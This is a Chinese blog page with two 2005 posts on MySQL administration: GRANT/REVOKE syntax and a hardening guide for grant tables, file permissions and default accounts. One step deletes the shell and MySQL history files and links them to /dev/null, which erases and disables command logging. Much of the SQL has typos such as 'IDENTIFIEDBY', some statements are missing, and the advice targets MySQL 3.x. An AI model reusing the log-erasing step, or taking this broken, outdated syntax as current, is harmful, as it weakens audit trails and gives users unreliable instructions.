2005年05月28日

          MySQL管理员应该知道怎样通过指定哪些用户可连接到服务器、从哪里进行连接,以及在连接时做什么,来设置MySQL用户账号。MySQL3.22.11引入了两个更容易进行这项工作的语句:GRANT 语句创建MySQL用户并指定其权限,REVOKE 语句删除权限。这两个语句充当mysql数据库中的授权表的前端,并提供直接操纵这些表内容的可选择的方法。GRANT 和REVOKE 语句影响以下四个表:

授权表 内容

user 可连接到服务器的用户和他们拥有的任何全局特权

db 数据库级的特权

tables _ priv 表级特权

c o l um n s _ priv 列级特权   

还有第五个授权表( host),但它不受GRANT 或REVOKE 的影响。

当您为某个用户发布GRANT 语句时,应在user 表中为该用户创建一个项。如果该语句指定了所有全局特权(管理权限或用于所有数据库的权限),则这些指定也被记录在user 表中。如果指定了数据库、表或列的权限,它们将记录在db、tables_priv 和columns_priv 表中。使用GRANT 和REVOKE 语句比直接修改授权表更容易.

本节下面的部分将讨论如何设置MySQL用户的账号和授权,还将介绍如何取消权限以及从授权表中删除全部用户,并且将考虑一个困扰许多新的MySQL管理员的难题。 您还要考虑使用mysqlaccess 和mysql_setpermission 脚本,它们是MySQL分发包的组成部分。这些是Perl 的脚本,它们提供了设置用户账号的GRANT 语句的代用品。mysql_setpermission 需要具有DBI 的支持环境。

创建新用户和授权

GRANT 语句的语法:

GRANT privileges (columns)  ON what TO user IDENTIFIEDBY "password" WITH GRANT OPTION

要使用该语句,需要填写以下部分:

  privileges 分配给用户的权限。下表列出了可在GRANT 语句中使用的权限说明符:

  权限说明符权限允许的操作  


上表显示的第一组权限说明符适用于数据库、表和列。第二组说明符是管理特权。通常,这些权限的授予相当保守,因为它们会影响服务器的操作(例如, SHUTDOWN 特权不是按每天来分发的权限)。第三组说明符是特殊的。ALL 的意思是“所有的权限”,而USAGE 的意思是“无权限”─即创建用户,但不授予任何的权限。

columns 权限适用的列。这是可选的,只来设置列专有的权限。如果命名多于一个列,则用逗号分开。

  what 权限应用的级别。权限可以是全局的(适用于所有数据库和所有的表)、数据库专有的(适用于某个数据库中的所有表),或表专有的。可以通过指定一个C O L U M N S子句将权限授予特定的列。

  user 使用权限的用户。它由用户名和主机名组成。在MySQL中,不仅指定谁进行连接,还要指定从哪里连接。它允许您拥有两个带有相同名字的、从不同位置连接的用户。MySQL允许在它们之间进行区别并相互独立地分配权限。

MySQL的用户名就是您在连接到服务器时指定的名字。该名字与您的UNIX 注册名或Windows 名的没有必然连系。缺省设置时,客户机程序将使用您注册的名字作为MySQL的用户名(如果您不明确指定一个名字的话),但这只是一个约定。有关将root 作为可以

  操作一切MySQL的超级用户名也是这样,就是一种约定。您也可以在授权表中将此名修改成nobody,然后作为nobody 用户进行连接,以执行需要超级用户特权的操作。

password 分配给该用户的口令。这是可选的。如果您不给新用户指定IDENTIFIEDBY子句,该用户不分配口令(是非安全的)。对于已有的用户,任何指定的口令将替代旧口令。如果不指定新口令,用户的旧口令仍然保持不变。当您确实要使用ID E N T I F I E DBY 时,该口令串应该是直接量,GRANT 将对口令进行编码。当用SET PA S S W O R D语句时,不要使用PASSWORD() 函数。

WITH GRANT OPTION 子句是可选的。如果包含该子句,该用户可以将GRANT 语句授予的任何权限授予其他的用户。可以使用该子句将授权的能力授予其他的用户。

  用户名、口令以及数据库和表的名称在授权表项中是区分大小写的,而主机名和列名则不是。

  通过查询某些问题,通常可以推断出所需的GRANT 语句的类型:

  谁可以进行连接,从哪里连接?

  用户应具有什么级别的权限,这些权限适用于什么?

  允许用户管理权限吗?

  让我们来提问这些问题,同时看一些利用GRANT 语句设置MySQL用户账号的例子。

1. 谁可以进行连接,从哪里连接

  您可以允许用户在特定的主机或涉及范围很宽的一组主机中进行连接。在一个极端,如果知道用户将仅从那个主机中进行连接,则可限定对单个主机的访问:

  GRANT ALL ON samp_db.* TO boris@localhost IDENTFIEDBY "ruby"

  GRANT ALL ON samp_db.* TO fred@ares.mars.net IDENTFIEDBY "quartz"

  (符号samp_db.* 含义是“在samp_db 数据库中的所有表”)在另一个极端,您可能会有一个用户m a x,他周游世界并需要能够从世界各地的主机中进行连接。在这种情况下,无论他从哪里连接您都将允许:

  GRANT ALL ON samp_db.* TO max@% IDENTFIEDBY "diamond"

 ‘%’字符起通配符的作用,与LIKE 模式匹配的含义相同,在上个语句中,它的意思是“任何主机”。如果您根本不给出主机名部分,则它与指定“ %”的含义相同。因此, max 和max@% 是等价的。这是设置一个用户最容易的方法,但安全性最小.

要想采取妥协的办法,可允许用户在一组有限的主机中进行连接。例如,要使mary 从snake.net 域的任何主机中进行连接,可使用%.snake.net 主机说明符:

  GRANT ALL ON samp_db.* TO mary@%.snake.net IDENTFIEDBY "topaz"

  该用户标识符的主机部分可用IP 地址而不是主机名给出(如果愿意的话)。可以指定一个直接的IP 地址或包含模式字符的地址。同样,自MySQL3.23 起,可以用一个网络掩码来指定IP 号,网络掩码表明了用于该网络号的二进制位数:

  GRANT ALL ON samp_db.* TO joe@192.168.0.3 IDENTIFIEDBY "water"

  GRANT ALL ON samp_db.* TO ardis@192.168.128.% IDENTIFIEDBY "snow"

  GRANT ALL ON samp_db.* TO rex@192.168.128.0/17 IDENTIFIEDBY "ice"

  第一条语句指明用户可进行连接的特定的主机。第二条语句指定129.168.128 Class C 子网的IP 模式。在第三条语句中, 192.168.128.0/17 指定一个17 位二进制的网络号,并将任何主机与其IP 地址的前17 个二进制位中的192.168.128.0/17 进行匹配.

如果MySQL抱怨您指定的用户值,则可能需要使用引号(但对用户名和主机名分别加引号):

  GRANT ALL ON samp_db.president TO "my friend"@"boa.snake.net"

  2. 用户应具有什么级别的权限,这些权限适用于什么

   您可授予不同级别的权限。全局权限的功能最强,因为它们适用于任何数据库。为了使ethel 成为可以进行一切操作的超级用户(其中包括可以对其他用户授权),发布下列语句:

  GRANT ALL ON *.* TO ethel@localhost IDENTIFIEDBY "coffee"

  WITH GRANT OPTION

  ON 子句中*.* 说明符的意思是“所有数据库,所有的表”,为保险起见,我们已经指定ethel 只能从本地主机中连接。限制超级用户从哪些主机上进行连接通常是明智的做法,因为它限制住了其他用户对口令进行试探。

  有些权限( F I L E、P R O C E S S、RELOAD 和S H U T D O W N)是管理权限,只能用NO *.* 全局权限说明符来授予。如果希望的话,也可以不用授予数据库级的权限来授予这些权限。例如,下列语句建立了一个flush 用户,它除了发布FLUSH 语句外不做其他任何事情。在管理脚本中这可能是有用的,因为需要在这些脚本中执行诸如在日志文件循环期间刷新日志的操作:

  GRANT RELOAD ON *.* TO flush@localhost IDENTIFIEDBY "flushpass"

  通常授予管理权限应该是保守的,因为具有这些权限的用户可能影响服务器的操作。

  数据库级的权限适用于特定数据库中的所有表。这些权限使用ON db_name.* 子句进行授予:

  GRANT ALL ON samp_db.* TO bill@racer.snake.net IDENTIFIEDBY "rock"

  GRANT SELECT ON menagerie.* TO ro_user@% IDENTIFIEDBY "dirt"

  第一条语句将bill 的所有权限授予samp_db 数据库的任何表。第二条语句创建一个限制访问的用户r o _ user(只读用户),它可以访问menagerie 数据库的所有表,但只能读取。也就是说,该用户只能发布SELECT 语句。

怎样在授权表项中指定本地主机名

   如果您使用服务器的主机名而非localhost,通常存在从该服务器主机连接的问题。这可能是由于在授权表中指定名字的方法和名字分解器例程( name reslover routine)向程序报告名字的方法之间的错误匹配。如果分解器报告了一个非限定的名字(如p i t – v i per),但授权表包含了具有全限定的名字的项(如p i t – v i per. s n a k e . n e t,反之亦然),则发生错误匹配。

  为了确定这种情况是否正在系统中发生,可试着用-h 选项连接到本地服务器,该选项指定了主机的名字。然后查看服务器的常规日志文件。它是怎样报告主机名的?是以非限定形式还是限定形式?不论它是哪种形式,都将告诉您在发布GRANT 语句时需要怎样指定用户说明符的主机名部分。

  可以同时列出许多被授予的单个权限。例如,如果想让用户能读取和修改已有表的内容,但又不允许创建新表或删除表,可按如下授权:

  GRANT SELECT,INSERT,DELETE,UPDATE ON samp_db.* TO jennie@%

  IDENTIFIEDBY "boron"

  对于更小粒度( f i n e – g r a i n e d)的访问控制,可以在单个表上授权,甚至在表的单个列上授权。当存在要对用户隐藏的表时,或者,当只允许用户修改特定列时,列专有的权限是有用的。假定历史同盟会中有一些志愿者利用您作为同盟会秘书应履行的职责来帮助您工作。这是一个好消息,但您决定首先给新的助手授予对member 表只读的权限(该表中包含了会员资格的信息),然后再对他们增加授予该表的expiration 列的列专有UPDATE权限。也就是说,您的助手可以在人们更新其会员资格时进行更改截止日期的工作。设置此MySQL用户的语句如下:


  第一条语句授予对整个member 表的读访问权并设置口令。第二条语句增加UPDATE权限,但只是对expiration 列。此时不必要再指定口令,因为在第一条语句中已经完成了。

  如果想要为多个列授予列专有的权限,可指定一个列清单,并用逗号将这些列分隔。例如,为了给assistant 用户增加对member 表地址列的UPDATE权限,可以使用下列语句。新的权限将被增加到对该用户来说已经存在的所有列上:

  GRANT UPDATE (street,city,state,zip) ON samp_db.member

  TO assistant@localhost

  通常,不要给用户授予比实际需要更大的权限。但是,当您想要使用户能够创建存储中间结果的临时表,而又不允许用户在包含有他们不能修改的数据的数据库中这样做时,就有了要在数据库上授予相当多的许可权限的理由。您可以建立一个单独的数据库(笔者称它为t m p)并授予用户该数据库的所有权限。例如,如果想要mars.net 域的主机中的任何用户都能够使用tmp 数据库,可发布下列GRANT 语句:

  GRANT ALL ON tmp.* TO ""@%.mars.net

  在完成这些之后,用户可使用tmp.tbl_name 格式的名字创建和引用tmp 数据库中的表(用户说明符中的“” 创建一个匿名用户项,任何用户都与空白用户名相匹配)。

  3. 允许用户管理权限吗

  通过授予数据库所有者数据库的所有权限并在操作时指定WITH GRANT OPTION,可以允许数据库所有者控制对该数据库的访问。例如,如果要让alicia 能在big.corp.com 域的所有主机中进行连接并管理sales 数据库中所有表的权限,应使用下列GRANT 语句:



  实际上,WITH GRANT OPTION 子句允许将访问的权利授予给另一个用户。要知道,具有GRANT 权限的两个用户可以相互授予自己的权限。如果只给一个用户授予SELECT 权限而给另一个用户除SELECT 外还授予了GRANT 和其他的权限,则第二个用户可以使第一个用户“强大”起来。


  取消权限和删除用户

  为了收回某个用户的权限,可使用REVOKE 语句。除了要用FROM 替换TO 并且没有IDENTIFIEDBY 或WITH GRANT OPTION 子句外,REVOKE 的语法与GRANT 语句非常相似:

  REVOKE privileges (columns) ON what FROM user

  user 部分必须与您想要取消其权限的用户的原始GRANT 语句的user 部分相匹配。priv i l e g e s 部分不需要匹配,您可用GRANT 语句授权,然后用REVOKE 语句取消其中的一部分。REVOKE 语句只删除权限,不删除用户。用户的项仍然保留在user 表中,即使您取消了该用户的所有权限也是如此。这意味着该用户仍然可连接到服务器上。要想删除整个用户,必须用DELETE 语句将该用户的记录从user 表中直接删除:  


  

  DELETE 语句删除该用户的项, FLUSH 语句告诉服务器重新加载授权表(当使用GRANT 或REVOKE 语句,而不是直接修改授权表时,这些表将自动重新加载)。
  
  一个权限难题,第一部分

  下面是一个在MySQL邮件清单中反复出现的情况:一位新的MySQL管理员给某用户增加一个项,使用了主机名部分,该部分是用一个模式来指定的。例如:

  GRANT ALL ON samp_db.* TO fred@%.snake.net IDENTIFIEDBY "cocoa"

  这里的意图是允许用户fred 从snake.net 域的所有主机中进行连接,并且具有对samp_db 数据库的所有权限。事实上, fred 能够从那些主机中连接(除了服务器主机本身外)。当fred 试着从服务器主机中进行连接时,该企图以“访问被拒绝”的消息而告失败。

  即使用户指定了正确的口令也是如此。

  如果授权表中包含了由mysql_install_db 安装脚本安装的缺省项,这种情况也会发生。其原因是,当服务器验证fred 连接的企图时,一个匿名用户项( anonymous-user entry)比fred 项优先。匿名用户项要求该用户不用口令来连接,并且一个口令错误匹配发生。

  该问题的另一个背景将在第12章“权限难题,第二部分”中给出。目前,只要说修正此问题的方法是从user 表中删除匿名用户项就足够了,我们不能用R E V O K E,因为该命令只删除权限。要想完全摆脱这些匿名项,执行如下操作:

   % mysql-uroot mysql mysql> DELETE FROM user where User="";

  mysql>FLUSH PRIVILEGES;

  现在,当fred 试图从本地主机连接时成功了。

2005年05月25日
MySQL数据库安全配置
发布日期:2003-11-6 22:06:03   作者:   出处:
  1、前言 

  MySQL 是完全网络化的跨平台关系型数据库系统,同时是具有客户机/服务器体系结构的分布式数据库管理系统。它具有功能强、使用简便、管理方便、运行速度快、安全可靠性强等优点,用户可利用许多语言编写访问MySQL 数据库的程序,特别是与PHP更是黄金组合,运用十分广泛。 

  由于MySQL是多平台的数据库,它的默认配置要考虑各种情况下都能适用,所以在我们自己的使用环境下应该进行进一步的安全加固。作为一个MySQL的系统管理员,我们有责任维护MySQL数据库系统的数据安全性和完整性。 

  MySQL数据库的安全配置必须从两个方面入手,系统内部安全和外部网络安全,另外我们还将简单介绍编程时要注意的一些问题以及一些小窍门。 

  2、系统内部安全 

  首先简单介绍一下MySQL数据库目录结构。MySQL安装好,运行了mysql_db_install脚本以后就会建立数据目录和初始化数据库。如果我们用MySQL源码包安装,而且安装目录是/usr/local/mysql,那么数据目录一般会是/usr/local/mysql/var。数据库系统由一系列数据库组成,每个数据库包含一系列数据库表。MySQL是用数据库名在数据目录建立建立一个数据库目录,各数据库表分别以数据库表名作为文件名,扩展名分别为MYD、MYI、frm的三个文件放到数据库目录中。 

  MySQL的授权表给数据库的访问提供了灵活的权限控制,但是如果本地用户拥有对库文件的读权限的话,攻击者只需把数据库目录打包拷走,然后拷到自己本机的数据目录下就能访问窃取的数据库。所以MySQL所在的主机的安全性是最首要的问题,如果主机不安全,被攻击者控制,那么MySQL的安全性也无从谈起。其次就是数据目录和数据文件的安全性,也就是权限设置问题。 

  从MySQL主站一些老的binary发行版来看,3.21.xx版本中数据目录的属性是775,这样非常危险,任何本地用户都可以读数据目录,所以数据库文件很不安全。3.22.xx版本中数据目录的属性是770,这种属性也有些危险,本地的同组用户既能读也能写,所以数据文件也不安全。3.23.xx版本数据目录的属性是700,这样就比较好,只有启动数据库的用户可以读写数据库文件,保证了本地数据文件的安全。 

  如果启动MySQL数据库的用户是mysql,那么象如下的目录和文件的是安全的,请注意数据目录及下面的属性: 

  shell>ls -l /usr/local/mysql 

  total 40 

  drwxrwxr-x 2 root root 4096 Feb 27 20:07 bin 

  drwxrwxr-x 3 root root 4096 Feb 27 20:07 include 

  drwxrwxr-x 2 root root 4096 Feb 27 20:07 info drwxrwxr-x 3 root root 4096 Feb 27 20:07 lib drwxrwxr-x 2 root root 4096 Feb 27 20:07 libexec drwxrwxr-x 3 root root 4096 Feb 27 20:07 man drwxrwxr-x 6 root root 4096 Feb 27 20:07 mysql-test drwxrwxr-x 3 root root 4096 Feb 27 20:07 share drwxrwxr-x 7 root root 4096 Feb 27 20:07 sql-bench drwx—— 4 mysql mysql 4096 Feb 27 20:07 var

  shell>ls -l /usr/local/mysql/var 

  total 8 

  drwx—— 2 mysql mysql 4096 Feb 27 20:08 mysql 

  drwx—— 2 mysql mysql 4096 Feb 27 20:08 test 

  shell>ls -l /usr/local/mysql/var/mysql 

  total 104 

  -rw——- 1 mysql mysql 0 Feb 27 20:08 columns_priv.MYD 

  -rw——- 1 mysql mysql 1024 Feb 27 20:08 columns_priv.MYI 

  -rw——- 1 mysql mysql 8778 Feb 27 20:08 columns_priv.frm 

  -rw——- 1 mysql mysql 302 Feb 27 20:08 db.MYD 

  -rw——- 1 mysql mysql 3072 Feb 27 20:08 db.MYI 

  -rw——- 1 mysql mysql 8982 Feb 27 20:08 db.frm 

  -rw——- 1 mysql mysql 0 Feb 27 20:08 func.MYD 

  -rw——- 1 mysql mysql 1024 Feb 27 20:08 func.MYI 

  -rw——- 1 mysql mysql 8641 Feb 27 20:08 func.frm 

  -rw——- 1 mysql mysql 0 Feb 27 20:08 host.MYD 

  -rw——- 1 mysql mysql 1024 Feb 27 20:08 host.MYI 

  -rw——- 1 mysql mysql 8958 Feb 27 20:08 host.frm 

  -rw——- 1 mysql mysql 0 Feb 27 20:08 tables_priv.MYD 

  -rw——- 1 mysql mysql 1024 Feb 27 20:08 tables_priv.MYI 

  -rw——- 1 mysql mysql 8877 Feb 27 20:08 tables_priv.frm 

  -rw——- 1 mysql mysql 428 Feb 27 20:08 user.MYD 

  -rw——- 1 mysql mysql 2048 Feb 27 20:08 user.MYI 

  -rw——- 1 mysql mysql 9148 Feb 27 20:08 user.frm 

  如果这些文件的属主及属性不是这样,请用以下两个命令修正之: 

  shell>chown -R mysql.mysql /usr/local/mysql/var 

  shell>chmod -R go-rwx /usr/local/mysql/var 

  用root用户启动远程服务一直是安全大忌,因为如果服务程序出现问题,远程攻击者极有可能获得主机的完全控制权。MySQL从3.23.15版本开始时作了小小的改动,默认安装后服务要用mysql用户来启动,不允许root用户启动。如果非要用root用户来启动,必须加上–user=root的参数(./safe_mysqld –user=root &)。因为MySQL中有LOAD DATA INFILE和SELECT … INTO OUTFILE的SQL语句,如果是root用户启动了MySQL服务器,那么,数据库用户就拥有了root用户的写权限。不过MySQL还是做了一些限制的,比如LOAD DATA INFILE只能读全局可读的文件,SELECT … INTO OUTFILE不能覆盖已经存在的文件。 本地的日志文件也不能忽视,包括shell的日志和MySQL自己的日志。有些用户在本地登陆或备份数据库的时候为了图方便,有时会在命令行参数里直接带了数据库的密码,如: shell>/usr/local/mysql/bin/mysqldump -uroot -ptest test>test.sql shell>/usr/local/mysql/bin/mysql -uroot -ptest 这些命令会被shell记录在历史文件里,比如bash会写入用户目录的.bash_history文件,如果这些文件不慎被读,那么数据库的密码就会泄漏。用户登陆数据库后执行的SQL命令也会被MySQL记录在用户目录的.mysql_history文件里。如果数据库用户用SQL语句修改了数据库密码,也会因.mysql_history文件而泄漏。所以我们在shell登陆及备份的时候不要在-p后直接加密码,而是在提示后再输入数据库密码。

  另外这两个文件我们也应该不让它记录我们的操作,以防万一。 

  shell>rm .bash_history .mysql_history 

  shell>ln -s /dev/null .bash_history 

  shell>ln -s /dev/null .mysql_history 

  上门这两条命令把这两个文件链接到/dev/null,那么我们的操作就不会被记录到这两个文件里了。 

  3、外部网络安全 

  MySQL数据库安装好以后,Unix平台的user表是这样的: 

  mysql> use mysql; 

  Database changed 

  mysql> select Host,User,Password,Select_priv,Grant_priv from user; 

  +———–+——+———-+————-+————+ 

  | Host | User | Password | Select_priv | Grant_priv | 

  +———–+——+———-+————-+————+ 

  | localhost | root | | Y | Y | 

  | redhat | root | | Y | Y | 

  | localhost | | | N | N | 

  | redhat | | | N | N | 

  +———–+——+———-+————-+————+ 

  4 rows in set (0.00 sec) 

  Windows平台的user表是这样的: 

  mysql> use mysql; 

  Database changed 

  mysql> select Host,User,Password,Select_priv,Grant_priv from user; 

  +———–+——+———-+————-+————+ 

  | Host | User | Password | Select_priv | Grant_priv | 

  +———–+——+———-+————-+————+ 

  | localhost | root | | Y | Y | 

  | % | root | | Y | Y | 

  | localhost | | | Y | Y | 

  | % | | | N | N | 

  +———–+——+———-+————-+————+ 

  4 rows in set (0.00 sec) 我们先来看Unix平台的user表。其中redhat只是我试验机的机器名,所以实际上Unix平台的MySQL默认只允许本机才能连接数据库。但是缺省root用户口令是空,所以当务之急是给root用户加上口令。给数据库用户加口令有三种方法: 1)在shell提示符下用mysqladmin命令来改root用户口令: 

  shell>mysqladmin -uroot password test 这样,MySQL数据库root用户的口令就被改成test了。(test只是举例,我们实际使用的口令一定不能使用这种易猜的弱口令) 

  2)用set password修改口令: 

  mysql> set password for root@localhost=password(‘test‘); 

  这时root用户的口令就被改成test了。 

  3)直接修改user表的root用户口令: 

  mysql> use mysql; 

  mysql> update user set password=password(‘test‘) where user=‘root‘;

  mysql> flush privileges; 

  这样,MySQL数据库root用户的口令也被改成test了。其中最后一句命令flush privileges的意思是强制刷新内存授权表,否则用的还是缓冲中的口令,这时非法用户还可以用root用户及空口令登陆,直到重启MySQL服务器。 

  我们还看到user为空的匿名用户,虽然它在Unix平台下没什么权限,但为了安全起见我们应该删除它: 

  mysql> delete from user where user=‘‘; 

  Windows版本MySQL的user表有很大不同,我们看到Host字段除了localhost还有是%。这里%的意思是允许任意的主机连接MySQL服务器,这是非常不安全的,给攻击者造成可乘之机,我们必须删除Host字段为%的记录: 

  mysql>delete from user where host=‘%‘; 

  默认root用户的空密码也是必须修改,三种修改方法和Unix平台一样。 

  我们注意到Host字段为localhost的匿名用户拥有所有的权限!就是说本地用户用空的用户名和空的口令登陆MySQL数据库服务器可以得到最高的权限!所以匿名用户必须删除! 

  mysql> delete from user where user=‘‘; 

  对user表操作以后不要忘了用flush privileges来强制刷新内存授权表,这样才能生效。 

  默认安装的Windows版MySQL存在的不安全因素太多,我们在安装后一定要进一步配置! 

  MySQL的5个授权表:user, db, host, tables_priv和columns_priv提供非常灵活的安全机制,从MySQL 3.22.11开始引入了两条语句GRANT和REVOKE来创建和删除用户权限,可以方便的限制哪个用户可以连接服务器,从哪里连接以及连接后可以做什么操作。作为MySQL管理员,我们必须了解授权表的意义以及如何用GRANT和REVOKE来创建用户、授权和撤权、删除用户。 在3.22.11版本以前的MySQL授权机制不完善,和新版本也有较大的不同,建议升级到最新版本的MySQL。(本书的操作例子是以MySQL 3.23.49为样本)我们先来了解授权表的结构。

  1)MySQL授权表的结构与内容: 

  mysql> desc user; 

  +—————–+—————–+——+—–+———+——-+ | Field | Type | Null | Key | Default | Extra | +—————–+—————–+——+—–+———+——-+ 

  | Host | char(60) binary | | PRI | | | 

  | User | char(16) binary | | PRI | | | 

  | Password | char(16) binary | | | | | 

  | Select_priv | enum(‘N‘,‘Y‘) | | | N | | 

  | Insert_priv | enum(‘N‘,‘Y‘) | | | N | |

  | Update_priv | enum(‘N‘,‘Y‘) | | | N | | 

  | Delete_priv | enum(‘N‘,‘Y‘) | | | N | | 

  | Create_priv | enum(‘N‘,‘Y‘) | | | N | | 

  | Drop_priv | enum(‘N‘,‘Y‘) | | | N | | 

  | Reload_priv | enum(‘N‘,‘Y‘) | | | N | | 

  | Shutdown_priv | enum(‘N‘,‘Y‘) | | | N | | 

  | Process_priv | enum(‘N‘,‘Y‘) | | | N | | 

  | File_priv | enum(‘N‘,‘Y‘) | | | N | | 

  | Grant_priv | enum(‘N‘,‘Y‘) | | | N | | 

  | References_priv | enum(‘N‘,‘Y‘) | | | N | | 

  | Index_priv | enum(‘N‘,‘Y‘) | | | N | | 

  | Alter_priv | enum(‘N‘,‘Y‘) | | | N | | 

  +—————–+—————–+——+—–+———+——-+ 

  17 rows in set (0.01 sec) 

  user表是5个授权表中最重要的一个,列出可以连接服务器的用户及其加密口令,并且它指定他们有哪种全局(超级用户)权限。在user表启用的任何权限均是全局权限,并适用于所有数据库。所以我们不能给任何用户访问mysql.user表的权限! 

  权限说明: 

  +———–+————-+———————————————————————–+ 

  | 权限指定符| 列名 |权限操作 | 

  +———–+————-+———————————————————————–+ 

  | Select | Select_priv | 允许对表的访问,不对数据表进行访问的select语句不受影响,比如select 1+1| +———–+————-+———————————————————————–+ 

  | Insert | Insert_priv | 允许对表用insert语句进行写入操作。 | +———–+————-+———————————————————————–+ 

  | Update | Update_priv | 允许用update语句修改表中现有记录。 | +———–+————-+———————————————————————–+ | Delete | Delete_priv | 允许用delete语句删除表中现有记录。 | +———–+————-+———————————————————————–+ | Create | Create_priv | 允许建立新的数据库和表。 | +———–+————-+———————————————————————–+

  | Drop | Drop_priv | 允许删除现有的数据库和表。 | 

  +———–+————-+———————————————————————–+ 

  | Index | Index_priv | 允许创建、修改或删除索引。 | 

  +———–+————-+———————————————————————–+ 

  | Alter | Alter_priv | 允许用alter语句修改表结构。 | 

  +———–+————-+———————————————————————–+ 

  | Grant | Grant_priv | 允许将自己拥有的权限授予其它用户,包括grant。 | 

  +———–+————-+———————————————————————–+ 

  | Reload | Reload | 允许重载授权表,刷新服务器等命令。 | 

  +———–+————-+———————————————————————–+ 

  | Shutdown | Shudown_priv| 允许用mysqladmin shutdown命令关闭MySQL服务器。该权限比较危险, | 

  | | | 不应该随便授予。 | 

  +———–+————-+———————————————————————–+ 

  | Process | Process_priv| 允许查看和终止MySQL服务器正在运行的线程(进程)以及正在执行的查询语句 | 

  | | | ,包括执行修改密码的查询语句。该权限比较危险,不应该随便授予。 | 

  +———–+————-+———————————————————————–+ | File | File_priv | 允许从服务器上读全局可读文件和写文件。该权限比较危险,不应该随便授予。| +———–+————-+———————————————————————–+ 

  mysql> desc db; 

  +—————–+—————–+——+—–+———+——-+ | Field | Type | Null | Key | Default | Extra | 

  +—————–+—————–+——+—–+———+——-+ | Host | char(60) binary | | PRI | | | | Db | char(64) binary | | PRI | | | 

  | User | char(16) binary | | PRI | | | 

  | Select_priv | enum(‘N‘,‘Y‘) | | | N | | | Insert_priv | enum(‘N‘,‘Y‘) | | | N | | | Update_priv | enum(‘N‘,‘Y‘) | | | N | | 

  | Delete_priv | enum(‘N‘,‘Y‘) | | | N | |

  | Create_priv | enum(‘N‘,‘Y‘) | | | N | | 

  | Drop_priv | enum(‘N‘,‘Y‘) | | | N | | 

  | Grant_priv | enum(‘N‘,‘Y‘) | | | N | | 

  | References_priv | enum(‘N‘,‘Y‘) | | | N | | 

  | Index_priv | enum(‘N‘,‘Y‘) | | | N | | 

  | Alter_priv | enum(‘N‘,‘Y‘) | | | N | | 

  +—————–+—————–+——+—–+———+——-+ 

  13 rows in set (0.01 sec) 

  db表列出数据库,而用户有权限访问它们。在这里指定的权限适用于一个数据库中的所有表。 

  mysql> desc host; 

  +—————–+—————–+——+—–+———+——-+ 

  | Field | Type | Null | Key | Default | Extra | 

  +—————–+—————–+——+—–+———+——-+ 

  | Host | char(60) binary | | PRI | | | 

  | Db | char(64) binary | | PRI | | | 

  | Select_priv | enum(‘N‘,‘Y‘) | | | N | | 

  | Insert_priv | enum(‘N‘,‘Y‘) | | | N | | 

  | Update_priv | enum(‘N‘,‘Y‘) | | | N | | 

  | Delete_priv | enum(‘N‘,‘Y‘) | | | N | | 

  | Create_priv | enum(‘N‘,‘Y‘) | | | N | | 

  | Drop_priv | enum(‘N‘,‘Y‘) | | | N | | 

  | Grant_priv | enum(‘N‘,‘Y‘) | | | N | | 

  | References_priv | enum(‘N‘,‘Y‘) | | | N | | | Index_priv | enum(‘N‘,‘Y‘) | | | N | | 

  | Alter_priv | enum(‘N‘,‘Y‘) | | | N | | 

  +—————–+—————–+——+—–+———+——-+ 

  12 rows in set (0.01 sec) 

  host表与db表结合使用在一个较好层次上控制特定主机对数据库的访问权限,这可能比单独使用db好些。这个表不受GRANT和REVOKE语句的影响 ,所以,你可能发觉你根本不是用它。 

  mysql> desc tables_priv; 

  +————-+—————————–+——+—–+———+——-+ | Field | Type | Null | Key | Default | Extra | 

  +————-+—————————–+——+—–+———+——-+ | Host | char(60) binary | | PRI | | | | Db | char(64) binary | | PRI | | | 

  | User | char(16) binary | | PRI | | | | Table_name | char(60) binary | | PRI | | | | Grantor | char(77) | | MUL | | | 

  | Timestamp | timestamp(14) | YES | | NULL | |

  | Table_priv | set(‘Select‘,‘Insert‘, | | | | | 

  | | ‘Update‘,‘Delete‘,‘Create‘, | | | | | 

  | | ‘Drop‘,‘Grant‘,‘References‘,| | | | | 

  | | ‘Index‘,‘Alter‘) | | | | | 

  | Column_priv | set(‘Select‘,‘Insert‘, | | | | | 

  | | ‘Update‘,‘References‘) | | | | | 

  +————-+—————————–+——+—–+———+——-+ 

  8 rows in set (0.01 sec) 

  tables_priv表指定表级权限。在这里指定的一个权限适用于一个表的所有列。 

  mysql> desc columns_priv; 

  +————-+————————+——+—–+———+—-+ 

  | Field | Type | Null | Key | Default | Extra | 

  +————-+————————+——+—–+———+—-+ 

  | Host | char(60) binary | | PRI | | | 

  | Db | char(64) binary | | PRI | | | 

  | User | char(16) binary | | PRI | | | 

  | Table_name | char(64) binary | | PRI | | | 

  | Column_name | char(64) binary | | PRI | | | 

  | Timestamp | timestamp(14) | YES | | NULL | | 

  | Column_priv | set(‘Select‘,‘Insert‘, | | | | | 

  | | ‘Update‘,‘References‘) | | | | | +————-+————————+——+—–+———+——-+ 

  7 rows in set (0.00 sec) 

  columns_priv表指定列级权限。在这里指定的权限适用于一个表的特定列。 

  2)MySQL授权表运行机制 

  MySQL的访问控制分两个步骤: 

  a)服务器检查是否允许该用户连接。 

  b)如果该用户有权连接,那么服务器还会检查它的每一个请求是否有足够的权限。比如:用户检索数据库中的一个表需要有这个数据库的select权限,用户删除数据库中的一个表需要有这个数据库的drop权限。 

  授权表的user, db, host表使用这两个步骤,tables_priv和columns_priv表只使用第二步(检查请求)。每个授权表包含决定一个权限何时运用的范围列和决定授予哪种权限的权限列。 范围列指定表中的权限何时运用。每个授权表条目包含User和Host列来指定权限何时运用于一个给定用户从给定主机的连接。其他表包含附加的范围列,如db表包含一个Db列指出权限运用于哪个数据库。类似地,tables_priv和columns_priv表包含范围字段,缩小范围到一个数据库中的特定表或一个表的特定列。 下面是user表的Host字段和User字段组合的一些例子: +—————————–+——–+————————————————+ | Host值 | User值 | 匹配的连接 | +—————————–+——–+———————————————–+

  | ‘x.y.z‘ | ‘test‘ | test用户只能从x.y.z连接数据库 | 

  +—————————–+——–+———————————————–+ 

  | ‘x.y.z‘ | ‘‘ | 任何用户可以从x.y.z连接数据库 | 

  +—————————–+——–+———————————————–+ 

  | ‘%‘ | ‘test‘ | test用户可以从任意主机连接数据库 | 

  +—————————–+——–+———————————————-+ 

  | ‘‘ | ‘‘ | 任何用户可以从任意主机连接数据库 | 

  +—————————–+——–+———————————————–+ 

  | ‘%.y.z‘ | ‘test‘ | test用户可以从y.z域的任意主机连接数据库 | 

  +—————————–+——–+———————————————-+ 

  | ‘x.y.% ‘ | ‘test‘ | test用户可以从x.y.net, x.y.com, x.y.edu等主机连接数据库| +—————————–+——–+———————————————-+ 

  | ‘192.168.1.1‘ | ‘test‘ | test用户可以从IP地址为192.168.1.1的主机连接数据库 | 

  +—————————–+——–+———————————————+ 

